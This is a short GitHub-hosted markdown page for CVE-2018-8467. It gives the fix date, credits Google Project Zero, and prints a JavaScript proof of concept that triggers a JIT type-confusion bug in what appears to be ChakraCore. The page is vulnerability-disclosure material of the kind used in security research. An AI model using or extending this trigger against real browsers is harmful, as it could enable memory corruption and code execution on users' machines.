Skip to content

Latest commit

 

History

History
35 lines (25 loc) · 848 Bytes

CVE-2018-8467.md

File metadata and controls

35 lines (25 loc) · 848 Bytes

CVE-2018-8467

  • Fix: Sep 2018
  • Credit: lokihardt of Google Project Zero

PoC

function opt(arr, arr2) {
    arr[0] = 1.1;

    arr2.method(arr2[0] = {});

    arr[0] = 2.3023e-320;
}

Object.prototype.method = () => {};

let arr = [1.1, 2.2];
for (let i = 0; i < 100; i++) {
    opt(arr, 1);  // Feeding an integer to make the value type LikelyCanBeTaggedValue_Int_PrimitiveOrObject
    opt(arr, arr.concat());
}

setTimeout(() => {
    opt(arr, arr);
    alert(arr);
}, 100);  // Waiting for the JIT server to finish its job.

Reference